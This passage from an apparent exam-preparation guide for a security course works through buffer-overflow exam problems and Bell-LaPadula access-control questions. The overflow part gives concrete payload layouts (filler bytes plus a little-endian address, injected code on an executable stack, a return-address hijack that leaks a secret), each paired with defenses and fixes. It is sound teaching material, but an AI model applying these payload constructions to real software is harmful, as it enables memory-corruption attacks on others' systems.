- *Applying Step 4: Construct attack (b):* Set `plen` = 24 and send 16 filler bytes (`A`×16) followed by the 8-byte little-endian encoding of `0x4011c8`, i.e. `c8 11 40 00 00 00 00 00`. The first 16 bytes exactly fill `user`; the next 8 overwrite `on_done`; Line B then executes `spawn_console()`. Two beginner mistakes to avoid: writing the address in big-endian order (x86 is little-endian — least significant byte first), and worrying about the five NUL bytes in the address — `memcpy` does not stop at `0x00`, so they are delivered fine (a string-based copy would truncate this payload).

- *Applying Step 5: Construct attack (c):* Set `plen` = 40 and send 32 filler bytes followed by the same little-endian `0x4011c8`. The 32 filler bytes cover `cmd` (24 bytes) and the saved frame pointer (8 bytes); the final 8 bytes land exactly on the saved return address. When `dispatch` returns, the CPU pops our address and jumps to `spawn_console`. Sanity check a beginner should always do: total payload = 24 + 8 + 8 = 40 = `plen` — the counts must be consistent or the marker will subtract points.

- *Applying Step 6: Injection variant (d) and the defense verdicts:* (d) Assume the stack is executable and the address of `cmd` is known (no ASLR, or a leaked pointer): put position-independent machine code at the start of `packet`, pad to 32 bytes, append the little-endian address of `cmd`, set `plen` to the total; on return, execution enters the injected code. Verdicts, each justified by *what the defense covers*: (e) the canary sits between `cmd` and the saved frame pointer and is checked just before return, so it stops (c) — but *not* (b), because `s` lives on the heap where no canary exists, and the hijack fires at the indirect call before any return. (f) NX/W⊕X makes the stack non-executable, so it stops (d); it does nothing against (b) and (c), which jump to *existing* code. (g) Stack-base-only ASLR defeats (d) as stated (the address of `cmd` becomes unknown) but neither (b) nor (c): stack randomization moves neither the heap chunk nor the fixed code address `0x4011c8`, and relative offsets inside the stack are preserved.

- *Applying Step 7: Propose the root-cause fix:* (h) Validate the length before each copy: `if (plen > sizeof s->user) return;` before Line A and `if (plen > sizeof cmd) return;` before Line C (or clamp `plen` to the destination size, or use bounded APIs). Removing both overflows kills all three attacks at the root — this is always the strongest answer to a "propose a countermeasure" sub-question, with defenses like ***control-flow integrity*** (a mechanism that restricts indirect calls to a pre-approved set of legitimate targets, so a hijacked function pointer cannot jump to attacker-chosen code) on the indirect call, or guard pages between heap chunks, mentioned only as additional layers.

Real Exam Questions (With Step-by-Step Solutions)

Exam Practice: Exam HT2018 (2019-01-14), Part II Problem 3 (Buffer overflow)

Problem: (1) Describe the content of the stack while `check_pwd` is executed. (2) Write an input for the program (different than "12345") that makes the program execute `do_something` and explain why this happens. (3) Explain how this problem can be fixed. `int check_pwd(char *pwd) { int result; char input[10];`

```
result = 0; gets(input); if (strcmp(input, pwd) == 0) result = 1;
return result; } void main() { int auth = check_pwd(``12345''); if
(auth) do_something(); }
```

Solution:

- *Applying Step 1: Locate unsafe operations:* The only dangerous line is `gets(input)`: `gets` reads a whole line of input with *no length limit* into the 10-byte stack array `input` — the classic stack buffer overflow. `strcmp` only reads and is not the bug. (Official solution: answers to part (1) assume a 32-bit layout with 4-byte pointers.)
- *Applying Step 2: Draw the memory layout (answer to part 1):* Official stack content while `check_pwd` executes, from high to low addresses:
  - saved return address,
  - saved frame pointer,
  - `pwd` (a 4-byte *pointer* to the string "12345" — not a buffer of chars),
  - `result` (4-byte `int`),
  - `input[10]` (10 bytes).

  Since `gets` writes toward higher addresses, overflowing `input` reaches `result` first (after 10 bytes), then `pwd` (after $10 + 4$), then the saved frame pointer and the return address.
- *Applying Step 3: Pick the corruption target:* Three targets at increasing distance from `input`: the flag `result` at byte offset 10; the pointer `pwd` at offset $10+4 = 14$; the saved return address at offset $10+4+4+4 = 22$. The official solution gives one attack per target — part (2) accepts any input that makes `do_something` run, so the shortest (the flag flip) is the best exam answer.
- *Applying Step 4: Construct the concrete inputs (answer to part 2):* Official attacks:
  - (a) Adjacent-local overwrite: provide 11 bytes of text whose last byte is different from NUL. Ten bytes fill `input`; the 11th nonzero byte lands in `result`, making it nonzero, so `check_pwd` returns a true value and `main` calls `do_something`.
  - (b) Pointer retargeting: provide $10 + 4$ bytes, the last 4 being the address of `input` itself. This overwrites `pwd` to point at `input`, so `strcmp(input, input) == 0` and `result` becomes 1 — the official remark is that `pwd` is a pointer, not a buffer.
  - (c) Return-address hijack: provide $10 + 4 + 4 + 4$ filler bytes followed by the address of `do_something` (little-endian), so the return from `check_pwd` jumps straight into `do_something`.
- *Applying Step 6–7: Match defenses and fix (answer to part 3):* Official fix: use a safe API (bounded input such as `fgets` with an explicit size) — this removes the overflow itself and therefore kills all three attacks; alternatively a stack canary, which protects against the return-address overwrite (attack (c))

because the canary sits between the locals and the saved frame pointer and is checked just before return. Note that a canary alone would *not* stop attack (a) or (b): those corrupt `result` and `pwd` before any canary check happens.

Answer: An 11-byte input whose last byte is nonzero overflows `input[10]` into `result`, so `auth` becomes true and `do_something` executes; fix with a bounded input API (or a stack canary against the return-address variant).

Exam Practice: Re-exam DD2395, Problem 6 (Memory safety, 14 points)

Problem: The following program is not memory safe; `input` and `len` are controlled by an attacker. `void process(char *input, size_t len) { char buffer[32]; char *tmp = malloc(32); if (tmp == NULL) return; memcpy(tmp, input, len); // Line A free(tmp); // Line B strcat(buffer, input); // Line C printf(``%s\n'', buffer); // Line D return; }` (6a) Identify the lines that have a problem and explain why they are not secure. (6b) Explain how an attacker can exploit the vulnerabilities to gain control of the program's execution: which memory region is corrupted, what part of the state is overwritten, how execution is redirected. (6c) Explain how the attacker can inject and execute new code, including your assumptions about the binary and memory layout. (6d) Can the attack in 6c be countered by randomizing the base address of the stack? (6e) Can the attack in 6b be countered by guard pages? (6f) Where the proposed countermeasures fail, propose and motivate a different one.

Solution:

- *Applying Step 1: Locate unsafe operations (answer to 6a):* Official solution: Line A — `tmp` points to 32 heap bytes but `len` is attacker-controlled; if `len` > 32 this is a ***heap buffer overflow***. Line C has *two* issues: `buffer` is uninitialized, so `strcat` may read out of bounds while searching for the first NUL terminator (an over-read); and `strcat` performs no bounds checking, so appending attacker-controlled `input` can cause a ***stack buffer overflow*** of `buffer[32]`. Lines B and D are not memory errors.

- *Applying Step 3–4: Pick the target and hijack control (answer to 6b):* Official solution: the most direct path is the stack overflow at Line C. The attacker supplies `input` such that `strcat(buffer, input)` writes beyond the 32-byte buffer (region corrupted: the *stack*). The overflow overwrites the saved frame pointer and the saved return address of `process`'s frame (state overwritten). The attacker writes an address of their choosing, e.g. an existing function, over the saved return address; when `process` returns, the CPU jumps to that attacker-chosen address (redirection).

- *Applying Step 5: Build the code-injection variant (answer to 6c):* Official solution: assuming the stack is executable, the attacker places the injected binary code inside `input` and uses attack (b) to overwrite the saved return address with the address of the injected code (i.e. pointing the return back into the attacker-controlled data). Stated assumptions: executable stack (no NX) and knowledge of the target buffer's address (no ASLR).

- *Applying Step 6: Match defenses to what they miss (answers to 6d and 6e):* Official solution: (6d) Yes for the attack in (c) as stated, since the attacker will no longer know the address of `buffer`. *However*, the payload is also copied into `tmp` on the heap by Line A, so the attacker can instead point the return address to `tmp` (assuming the heap address is known), because stack randomization does not affect the heap. (6e) No: guard pages do not help because the overflow exploited in (b) is on the stack inside a single frame; guard pages could only help if placed between heap data structures to detect the overflow of `tmp` at Line A.

- *Applying Step 7: Propose the real fix (answer to 6f):* Official solution: a simple solution is a stack canary (detects the return-address overwrite before `process` returns). A better solution fixes the root causes: initialize `buffer`, check that `len` is less than 32 before Line A, and limit `strcat` to write at most 32 bytes (e.g. a bounded concatenation).

Answer: Line A is a heap overflow (len ¿ 32) and Line C is an uninitialized-buffer over-read plus a stack overflow; overwriting the saved return address (or pointing it at injected code on an executable stack) hijacks execution; stack ASLR fails because the payload also lives in tmp on the heap, guard pages do not help an intra-frame stack overflow; fix with a stack canary plus length checks, buffer initialization and bounded strcat.

Exam Practice: Exam DD2395, Problem 7 (Memory safety, 14 points)

Problem: The program below receives an argument and prints it (`./main hello` prints `hello`); `Pwd123456` is a secret that must not be leaked, and `strcmp(input, secret)` returns 0 only if the two strings are equal. `void printInput(char *input) { char buffer[50]; char secret[20] = ‘‘Pwd123456’’; if (strcmp(input, secret) == 0) print(secret); else printf(input); strcpy(buffer, input); } int main(int argc, char *argv[]) { if (argc != 2) return 1; printInput(argv[1]); return 0; }` The attacker controls the input argument. (7a) Identify the lines that have a problem and explain why. (7b) Explain a mechanism to force the program to execute arbitrary code: what should the argument be, and what assumptions about the binary and memory layout do you make? (7c) Explain a mechanism to leak the password without injecting new code and without providing `Pwd123456` as input. (7d) Can the attack in 7b be countered by randomizing the base address of the stack? (7e) Can the attack in 7c be countered by randomizing the base address of the stack? (7f) For whichever attack survives, propose and motivate a countermeasure.
Solution:

- *Applying Step 1: Locate unsafe operations (answer to 7a):* Official solution: the `strcpy(buffer, input)` line can overflow `buffer`, because it copies until the NUL in *input* and will write more than 50 bytes whenever the input string is longer than 49 characters. Note the overflow happens *after* the `strcmp`/`printf` logic, so it corrupts the frame regardless of which branch was taken.

- *Applying Step 2: Draw the memory layout:* Official assumption (stated in the sample solution): in the stack we have, from low to high addresses, `secret`, `buffer`, return pointer; the architecture is 64-bit, so pointers are 8 bytes. Writes from `strcpy` go toward higher addresses, so overflowing `buffer` reaches the saved return pointer.

- *Applying Step 5: Inject and execute arbitrary code (answer to 7b):* Official solution: the input contains 50 bytes, then <address of return pointer +8 >, then the binary code. `strcpy` overflows the stack variables and overwrites the return pointer with the address immediately after the return pointer; the overflow additionally writes the binary code into that spot. Therefore, when the function returns it jumps to the address just above the return pointer on the stack — straight into the injected code. Assumptions: executable stack and knowledge of the stack addresses.

- *Applying Step 3–4: Leak the secret without injection (answer to 7c):* Official solution: the input contains 50 bytes, then <address of `printf(secret)`>. `strcpy` overflows the stack variables and overwrites the return pointer with the address of the code that calls `printf(secret)`; when the function returns it jumps there and the password is printed. No new code is injected — the attack reuses code already in the binary, which is exactly why NX would not help either.

- *Applying Step 6: Match the defense to what it misses (answers to 7d and 7e):* Official solution: (7d) Attack (b) *is* countered by stack base randomization, since it prevents the attacker from knowing the address of `buffer` and therefore the address where the binary code has been injected — the value to write into the return pointer becomes unknown. (7e) Attack (c) is *not* countered: randomizing the stack base affects neither the distance between `buffer` and the return pointer nor the position of the `printf(secret)` code, both of which are all the attack needs.

- *Applying Step 7: Propose the countermeasure for the survivor (answer to 7f):* Official solution: a stack canary, placed between `buffer` and the return pointer. Assuming the attacker does not know the value of the random canary, the overflow overwrites the canary; when the function returns, the program checks the canary, detects that it has been altered, and aborts instead of jumping to the attacker's address.

Answer: 7b: input = 50 bytes + (address of return pointer + 8) + binary code, so return jumps into the injected code (stopped by stack ASLR); 7c: input = 50 bytes + address of printf(secret) leaks the password via code reuse (ASLR fails; a stack canary stops it).

For more practice, see past-exam instances: re-exam-problems-with-sample-solutions.pdf::6c

4 Question Type 4: Bell-LaPadula access-control decisions and label lattice

Theory Background (Start Here if You Know Nothing)

Some organizations (military, intelligence, companies with trade secrets) classify information at several levels of sensitivity, and want a guarantee that information can never flow from a more sensitive place to a less sensitive one. Such a system is called a ***multilevel security (MLS)*** system. In it, every ***subject*** (an active entity: a user, or a process running on a user's behalf) and every ***object*** (a passive container of information: a file, a record) carries a ***security label***. The subject's label is called its ***clearance***, the object's label its ***classification***. A label is a pair $L = (SL, C)$: a ***sensitivity level*** SL taken from an ordered list (for example Unclassified $<$ Confidential $<$ Secret $<$ Top Secret, abbreviated $U < C < S < TS$), and a set of ***compartments*** C, which represent topic areas (e.g. {Nuclear, Crypto}) and enforce ***need-to-know***: being cleared for Secret is not enough, you must also be authorized for the specific topic.

Labels are compared by the ***dominance*** relation. We say $L_1 = (SL_1, C_1)$ is dominated by $L_2 = (SL_2, C_2)$, written $L_1 \sqsubseteq L_2$, if and only if both of the following hold: (1) $SL_1 \leq SL_2$ in the level order, and (2) $C_1 \subseteq C_2$, i.e. every compartment of L_1 is also a compartment of L_2. The reason both conditions are required: being at least as sensitive means being at least as high in the hierarchy *and* covering at least the same topics. Dominance is only a ***partial order***, not a total one: two labels can be ***incomparable***, meaning neither dominates the other. This happens when the levels are unordered (some exams use incomparable levels, e.g. C and S both below TS but not related to each other) or when each compartment set contains an element the other lacks, e.g. $\{A, B\}$ versus $\{A, G\}$. With incomparable labels neither read nor write is allowed. The set of all labels with dominance forms a ***lattice***: a bottom element (lowest level, empty compartment set), a top element (highest level, all compartments), and a unique least upper bound and greatest lower bound for every pair.

Bell–LaPadula (BLP) is a ***mandatory access control (MAC)*** model: access is decided by a fixed central policy, not by the owner of the file (that would be ***discretionary*** access control). BLP enforces two rules that together guarantee information never flows downward. ***No read up*** (the ***simple security property***, ss-property): subject s may *read* object o iff $f_o(o) \sqsubseteq f_s(s)$ — the object's label must be dominated by the subject's clearance. In words: you may only read things at your own level or below, and only in compartments you are authorized for. ***No write down*** (the ***star property***, $*$-property): subject s may *write* object o iff $f_c(s) \sqsubseteq f_o(o)$ — the subject's label must be dominated by the object's. In words: you may only write things at your own level or above. Writing *up* is deliberately allowed (a Secret user may deposit a report into a Top Secret file it cannot read — a ***blind write***); writing *down* is forbidden, because otherwise a Secret user (or a ***Trojan horse*** program running with that user's rights) could copy secret data into an unclassified file where anyone can read it.

Access ***modes*** matter and are a classic exam trap. ***Read*** is checked by the ss-property only; ***append*** is ***write-only*** (add content without seeing the file) and is checked by the $*$-property alone — so appending *up* is allowed even when reading the same file is denied. If the model states that ***write implies read***, then a write request must satisfy *both* rules. Some exams tabulate two clearances per subject: the ***maximum clearance*** $f_s(s)$ (the highest the subject is allowed to go) and the ***current clearance*** $f_c(s)$ (the level the

session currently runs at, chosen $\leq$ the maximum). Reads are checked against f_s, writes against f_c; using the wrong one flips verdicts. Finally, declassification or sanitization (legitimately moving data down) is impossible under the two rules and requires ***trusted subjects*** that are exempt — mention this only if asked about the model's limits.

When a problem asks you to ***draw the partial order*** (Hasse diagram) of the labels: the nodes are all (level, compartment-set) pairs that exist in the system; draw an upward edge from (SL_1, C_1) to (SL_2, C_2) whenever $L_1 \sqsubseteq L_2$ and no label lies strictly in between (raise the level one step keeping compartments fixed, or add exactly one compartment keeping the level fixed). The bottom of the diagram is (lowest level, $\emptyset$) and the top is (highest level, all compartments). When a problem asks you to ***invent example labels*** achieving a target verdict, run dominance in reverse: for read allowed, make the object's level $\leq$ the subject's and the object's compartments a subset of the subject's; for write allowed do the opposite; for a denial, break one of the two conjuncts (or make labels incomparable).

Theory Cheat-Sheet

- Label $L = (SL, C)$; dominance $L_1 \sqsubseteq L_2$ iff $SL_1 \leq SL_2$ AND $C_1 \subseteq C_2$ — both conjuncts must hold.
- No read up (ss-property): s reads o iff $f_o(o) \sqsubseteq f_s(s)$ (object dominated by subject).
- No write down (*-property): s writes o iff $f_c(s) \sqsubseteq f_o(o)$ (subject dominated by object).
- Write-up (blind write) is legal; write-down is the leak BLP forbids; append = write-only, only the $*$-property.
- Incomparable labels (levels unordered, or compartment sets overlapping without inclusion) $\Rightarrow$ neither read nor write.
- No compartments stated $\Rightarrow$ dominance is just the linear level order; max vs current clearance: read uses f_s, write uses f_c.

How to Identify

Use this scheme when the problem provides A BLP system stated as: an ordered (or partially ordered) set of sensitivity levels (e.g. $U < C < S < TS$), optionally a set of compartments, the label form $L = (SL, C)$ with dominance $L_1 \sqsubseteq L_2$ iff $SL_1 \leq SL_2$ and $C_1 \subseteq C_2$, and concrete subject clearances f_s/f_c and object classifications f_o (tables or bullet lists). Access modes read, write (may imply read), append (write-only). and asks you to Formally define no-read-up (ss-property) and no-write-down (*-property); decide grant/deny for each listed (subject, object, mode) request with justification naming the violated rule; possibly draw the label partial order or invent example labels achieving a specified allowed/denied read/write combination. Look for keywords like: *"Bell-LaPadula", "no read up", "no write down", "clearance", "classification", "compartments", "dominance", "partial order", "lattice", "granted", "denied", "append", "ss-property", "*-property".*

Algorithm: Dominate-and-decide: formalize the two rules, then check dominance for each request

Step 1: Define dominance: State the label order: for $L_1 = (SL_1, C_1)$ and $L_2 = (SL_2, C_2)$, $L_1 \sqsubseteq L_2$ iff $SL_1 \leq SL_2$ (level order) and $C_1 \subseteq C_2$ (compartment subset). Both conjuncts must hold. If the problem has no compartments, dominance is just $SL_1 \leq SL_2$. Check whether the level order is linear or has incomparable levels.

Step 2: State the two rules:

- No read up (ss-property): s may read o iff $f_o(o) \sqsubseteq f_s(s)$.
- No write down ($*$-property): s may write o iff $f_c(s) \sqsubseteq f_o(o)$.
- Append (write-only) needs only the $*$-property; if the model says write implies read, a write needs both rules.

Step 3: Instantiate labels: Write out the concrete label of every subject and object from the tables, e.g. User 1: $(S, \{A, B\})$, File D: $(U, \{\})$. If both maximum clearance f_s and current clearance f_c are given, note which one each rule uses (f_s for read, f_c for write).

Step 4: Check each request: For each (subject, object, mode) triple evaluate the two components of dominance *separately*:

- read: test $f_o(o) \sqsubseteq f_s(s)$;
- write/append: test $f_c(s) \sqsubseteq f_o(o)$;
- compare levels with $\leq$ and compartments with $\subseteq$; both must hold.

Step 5: Justify verdicts: For each request state grant or deny plus the exact reason: which dominance holds or fails, and in case of denial name the violated rule (no read up / ss-property, or no write down / $*$-property). Incomparable labels: neither read nor write.

Step 6: Handle lattice and construction subtasks: Drawing the partial order: nodes are all (level, compartment-set) pairs; edges raise the level one step with the same compartments, or add one compartment with the same level; bottom is (lowest level, $\emptyset$), top is (highest level, all compartments). Inventing labels for a target outcome: run dominance in reverse — pick levels ordered as required and compartments as subset/superset (allowed) or incomparable sets (denied).

Exam Variations & Traps

- **Variation 1 (Compartments vs no compartments):** The HT2018 instance explicitly drops compartments (dominance = linear level order, incomparability impossible); newer exams add compartments, where the trap is comparing only levels and forgetting $C_1 \subseteq C_2$: equal or ordered levels with incomparable compartment sets (e.g. $(S, \{A, B\})$ vs $(S, \{G\})$) mean neither read nor write. Always check both components.

- **Variation 2 (Incomparable sensitivity levels):** The re-exam uses levels $P < C < TS$ and $P < S < TS$, so C and S are incomparable. A user at $(C, \{A, I\})$ and an object at $(S, \{A, I\})$ cannot read or write in either direction *even though the compartment sets are equal* — the level comparison alone already fails both ways. Never assume the levels form a single chain.
- **Variation 3 (Mode trap: append and write-implies-read):** Append (write-only) up is allowed via the $*$-property even though a read would be denied — the trap is refusing append because read fails (HT2018: Carol may append the Secret file budget). But append still needs full dominance: a high enough level does not rescue a failing compartment set. Conversely, if the stated model lets write imply read, a write request must satisfy both rules.
- **Variation 4 (Max vs current clearance):** When both f_s (max) and f_c (current) are tabulated (HT2018: Bob max Secret, current Confidential), using the wrong function flips verdicts — Bob's write to the Secret file budget is denied because $f_c(\text{Bob}) \not\sqsubseteq f_o(\text{budget})$ even though f_s would allow it. Read the problem's convention before deciding.

Guided Walkthrough (Learn the Method on One Question)

Problem: A freight-rail operator protects infrastructure data with Bell–LaPadula. Sensitivity levels are $U < R < C < S < TS$ (Unclassified, Restricted, Confidential, Secret, Top Secret) and compartments are $\{N, E, W, K\}$ (the four lines North, East, West, Kargo). Subject clearances: Dispatcher Farah: $(S, \{N, E\})$; Auditor Bjorck: $(C, \{N, W\})$; Technician Osei: $(R, \{N\})$. Object classifications: Dossier: $(C, \{N, E\})$; Blueprint: $(TS, \{N, E, K\})$; Archive: $(C, \{N, W\})$; Log: $(C, \{N\})$; Bulletin: $(U, \{\})$. (a) Formally define the BLP properties *no read up* and *no write down*. (b) For each of the following, decide with justification whether access is granted or denied: Farah reads or writes Dossier and Blueprint; Bjorck reads or writes Archive and Dossier; Osei reads or writes Log and Bulletin. (c) Taking *append* to be write-only: may Bjorck append to Blueprint? May Osei append to Blueprint? Justify.

Solution (every step explained, including WHY):

- *Applying Step 1 (define dominance):* Dominance: $L_1 = (SL_1, C_1) \sqsubseteq L_2 = (SL_2, C_2)$ iff $SL_1 \leq SL_2$ *and* $C_1 \subseteq C_2$, with levels $U < R < C < S < TS$ and compartment sets $C_i \subseteq \{N, E, W, K\}$. **Beginner note:** the single most common error is checking only the level and forgetting the compartment subset. Write both tests down for every request before deciding.
- *Applying Step 2 (state the rules):* (a) No read up (ss-property): subject s may read object o iff $f_o(o) \sqsubseteq f_s(s)$. No write down ($*$-property): s may write o iff $f_c(s) \sqsubseteq f_o(o)$. Append is write-only, so it needs only the $*$-property. **Beginner note:** the direction of $\sqsubseteq$ is the second most common error. Memory hook: read down, write up — for a read, the *object* must be the smaller label; for a write, the *subject* must be the smaller label.
- *Applying Step 3 (instantiate):* Farah $= (S, \{N, E\})$; Bjorck $= (C, \{N, W\})$; Osei $= (R, \{N\})$; Dossier $= (C, \{N, E\})$; Blueprint $= (TS, \{N, E, K\})$; Archive $=$

$(C, \{N, W\})$; Log = $(C, \{N\})$; Bulletin = $(U, \{\})$. **Beginner note:** write these pairs out explicitly; deciding directly from the prose invites slips. Only one clearance per subject here, so $f_s = f_c$ for everyone.

- *Applying Step 4 (Farah):* Farah vs Dossier: read needs $L_{\text{Dos}} \sqsubseteq L_{\text{Farah}}$: $C \leq S$ true, $\{N, E\} \subseteq \{N, E\}$ true — granted. Write needs $L_{\text{Farah}} \sqsubseteq L_{\text{Dos}}$: $S \leq C$ false — denied (no write down). Result: read-only. Farah vs Blueprint: read needs $TS \leq S$ — false, denied (no read up). Write needs $S \leq TS$ true and $\{N, E\} \subseteq \{N, E, K\}$ true — granted: a ***blind write*** up. Result: write-only. **Beginner note:** a Secret subject writing a Top Secret file feels wrong to many students; it is exactly the case BLP allows, because information flows up, not down.

- *Applying Step 5 (Bjorck and Osei):* Bjorck vs Archive: labels equal, $(C, \{N, W\}) \sqsubseteq (C, \{N, W\})$ in both directions ($C \leq C$ and $\{N, W\} \subseteq \{N, W\}$) — read and write both granted. **Beginner note:** equality counts as dominance in both directions ($\leq$, not $<$). Bjorck vs Dossier: read needs $\{N, E\} \subseteq \{N, W\}$ — false (E missing); write needs $\{N, W\} \subseteq \{N, E\}$ — false (W missing); the levels are equal but the compartment sets are ***incomparable***, so neither read nor write. Osei vs Log: read needs $C \leq R$ — false, denied (no read up); write needs $R \leq C$ and $\{N\} \subseteq \{N\}$ — granted (write-up). Result: write-only. Osei vs Bulletin: read needs $U \leq R$ and $\{\} \subseteq \{N\}$ — granted; write needs $R \leq U$ — false, denied (no write down). Result: read-only.

- *Applying Step 6 (append):* (c) Append needs only the $*$-property. Bjorck append Blueprint: $(C, \{N, W\}) \sqsubseteq (TS, \{N, E, K\})$ requires $\{N, W\} \subseteq \{N, E, K\}$, which fails since $W \notin \{N, E, K\}$ — denied, even though $C \leq TS$. **Beginner note:** the level test passes but the compartment test fails; one failed conjunct kills the whole dominance. Osei append Blueprint: $(R, \{N\}) \sqsubseteq (TS, \{N, E, K\})$ since $R \leq TS$ and $\{N\} \subseteq \{N, E, K\}$ — granted: a blind write; Osei still may not read Blueprint. Final verdicts: Farah: Dossier read-only, Blueprint write-only; Bjorck: Archive read and write, Dossier neither; Osei: Log write-only, Bulletin read-only; appends: Bjorck denied, Osei granted.

Real Exam Questions (With Step-by-Step Solutions)

Exam Practice: Exam HT2018 (DD2395), Part II Problem 6

Problem: Bell–LaPadula. The system state is (b, f, H), where b is the set of active accesses (triples (subject, object, access mode), modes: read, write (implies read), execute, append (write-only)); $f_s(s)$ is the max security clearance of subject s, $f_c(s)$ the current clearance, $f_o(o)$ the classification of object o; H is the hierarchy of levels. There is no discretionary access control and no compartments. Level hierarchy: H: top secret > secret > confidential > unclassified. Subjects: Alice: $f_s = f_c =$ top secret; Bob: $f_s =$ secret, $f_c =$ confidential; Carol: $f_s = f_c =$ confidential. Objects (files): plan: top secret; budget: secret; rumors: confidential; official: unclassified. Currently active accesses: $b = \{$(Alice, plan, write), (Bob, rumors, read)$\}$. Decide for each access request whether it should be granted, and formally state which BLP rule is violated in case access is denied: (1) Alice, rumors, read; (2) Alice, official, write; (3) Bob, budget, write; (4) Carol, budget, append.

Solution:

- *Applying Steps 1-2 (rules):* No compartments, so dominance is just the level order: $L_1 \sqsubseteq L_2$ iff $SL_1 \leq SL_2$ in top secret > secret > confidential > unclassified. No read up (ss-property): s reads o iff $f_o(o) \sqsubseteq f_s(s)$. No write down ($*$-property): s writes o iff $f_c(s) \sqsubseteq f_o(o)$. Append is write-only, so it is checked by the $*$-property alone.
- *Applying Step 3 (instantiate):* Note the trap: Bob has *max* clearance secret but *current* clearance confidential. Writes are checked against f_c, reads against f_s.
- *Applying Steps 4-5 (request 1):* Alice, rumors, read: test $f_o(\text{rumors}) \sqsubseteq f_s(\text{Alice})$, i.e. confidential $\leq$ top secret — true. Allow (ss-property satisfied).
- *Applying Steps 4-5 (request 2):* Alice, official, write: test $f_c(\text{Alice}) \sqsubseteq f_o(\text{official})$, i.e. top secret $\leq$ unclassified — false. Deny; the violated rule is the $*$-property (no write down): a top-secret subject may not write an unclassified file.
- *Applying Steps 4-5 (request 3):* Bob, budget, write: test $f_c(\text{Bob}) \sqsubseteq f_o(\text{budget})$, i.e. confidential $\leq$ secret — false (the official solution states $f_c(\text{Bob}) \neq f_o(\text{budget})$). Deny by the $*$-property. Had we wrongly used Bob's max clearance $f_s(\text{Bob}) = \text{secret}$, we would have allowed it — that is the intended trap.
- *Applying Steps 4-5 (request 4):* Carol, budget, append: append is write-only, so only the $*$-property applies: $f_c(\text{Carol}) \sqsubseteq f_o(\text{budget})$, i.e. confidential $\leq$ secret — true. Allow: a blind write-up, even though Carol could not read budget.

Answer: 1 allow (ss-property); 2 deny (*-property, no write down); 3 deny (*-property, current clearance confidential below secret); 4 allow (*-property, blind append-up).

Exam Practice: Exam (with solutions), Problem 3a-3b, Access Control - BLP Model

Problem: A defense organization uses BLP. Labels are pairs $L = (SL, C)$ of sensitivity levels and compartments, enforcing no read up and no write down. Four clearance levels: Top Secret (TS), Secret (S), Confidential (C), Unclassified (U) with $U < C < S < TS$. Three compartments: Alpha (A), Beta (B), Gamma (G). (3a) Define the no read up and no write down rules for a user U with label $L_U = (SL_U, C_U)$ and a file F with label $L_F = (SL_F, C_F)$; give example labels for a user/file pair such that read access is allowed, and example labels such that write access is allowed. (3b) Given User 1: Secret, compartments $\{A, B\}$; User 2: Confidential, compartment $\{G\}$; File A: Top Secret, $\{A, B\}$; File B: Secret, $\{G\}$; File C: Confidential, $\{A\}$; File D: Unclassified, no compartments — decide for each

of the following, with justification, whether the user can read or write the file: User 1 vs File A; User 1 vs File B; User 1 vs File D; User 2 vs File A; User 2 vs File B; User 2 vs File C.
Solution:

- *Applying Steps 1-2 (3a, definitions):* No read up: U may read F iff $L_F \sqsubseteq L_U$. No write down: U may write F iff $L_U \sqsubseteq L_F$, where $L_1 = (SL_1, C_1) \sqsubseteq L_2 = (SL_2, C_2)$ iff $SL_1 \leq SL_2$ and $C_1 \subseteq C_2$, with $C_i \subseteq \{A, B, G\}$. Example where read is allowed: $L_U = (TS, \{A\})$, $L_F = (S, \{A\})$ (subject level higher, compartments cover the file's). Example where write is allowed: $L_{U1} = (S, \{A\})$, $L_{F1} = (TS, \{A\})$ (blind write-up).

- *Applying Step 3 (instantiate):* $L_{U1} = (S, \{A, B\})$; $L_{U2} = (C, \{G\})$; $L_{FA} = (TS, \{A, B\})$; $L_{FB} = (S, \{G\})$; $L_{FC} = (C, \{A\})$; $L_{FD} = (U, \{\})$.

- *Applying Steps 4-5 (User 1):* User 1 vs File A: $L_{U1} \sqsubseteq L_{FA}$ since $S \leq TS$ and $\{A, B\} \subseteq \{A, B\}$, so the user cannot read but can write the file (write-up). User 1 vs File B: $L_{U1} \not\sqsubseteq L_{FB}$ (since $\{A, B\} \not\subseteq \{G\}$) and $L_{FB} \not\sqsubseteq L_{U1}$ (since $\{G\} \not\subseteq \{A, B\}$) — labels incomparable, so neither read nor write. User 1 vs File D: $L_{FD} \sqsubseteq L_{U1}$ since $U \leq S$ and $\{\} \subseteq \{A, B\}$, so the user can read but cannot write the file (write-down forbidden).

- *Applying Steps 4-5 (User 2):* User 2 vs File A: $L_{U2} \not\sqsubseteq L_{FA}$ (since $\{G\} \not\subseteq \{A, B\}$) and $L_{FA} \not\sqsubseteq L_{U2}$ (since $TS \not\leq C$) — incomparable, neither read nor write. User 2 vs File B: $L_{U2} \sqsubseteq L_{FB}$ since $C \leq S$ and $\{G\} \subseteq \{G\}$, so the user cannot read but can write the file (write-up). User 2 vs File C: $L_{U2} \not\sqsubseteq L_{FC}$ (since $\{G\} \not\subseteq \{A\}$) and $L_{FC} \not\sqsubseteq L_{U2}$ (since $\{A\} \not\subseteq \{G\}$) — levels are equal ($C = C$) but compartments incomparable, so neither read nor write.

Answer: 3a: read iff $L_F \sqsubseteq L_U$, write iff $L_U \sqsubseteq L_F$; read example $(TS, \{A\})$ / $(S, \{A\})$, write example $(S, \{A\})$ / $(TS, \{A\})$. 3b: U1-A write only; U1-B neither; U1-D read only; U2-A neither; U2-B write only; U2-C neither.

Exam Practice: Re-exam (with sample solutions), Problem 2b, Access Control - BLP Model

Problem: An organization uses BLP with labels $L = (SL, C)$. Clearance levels: Top Secret (TS), Secret (S), Confidential (C), Public (P), with $P < C < TS$ and $P < S < TS$ (note: C and S are *not* comparable). Two compartments: Academia (A) and Industry (I). (Part 2a asked for the definitions of no read up / no write down and a drawing of the label partial order.) Problem 2b: (1) Consider a user U with label $L_U = (C, \{A, I\})$ and an object O with label $L_O = (S, \{A, I\})$. Justify whether U can read O and whether U can write O. (2-5) Provide example labels for a user U and an object O such that: (2) U is allowed to read O; (3) U is not allowed to read O; (4) U is allowed to write O; (5) U is not allowed to write O.
Solution:

- *Applying Steps 1-2 (rules, from 2a):* No read up: U may read O iff $L_O \sqsubseteq L_U$. No write down: U may write O iff $L_U \sqsubseteq L_O$, where $L_1 = (SL_1, C_1) \sqsubseteq$

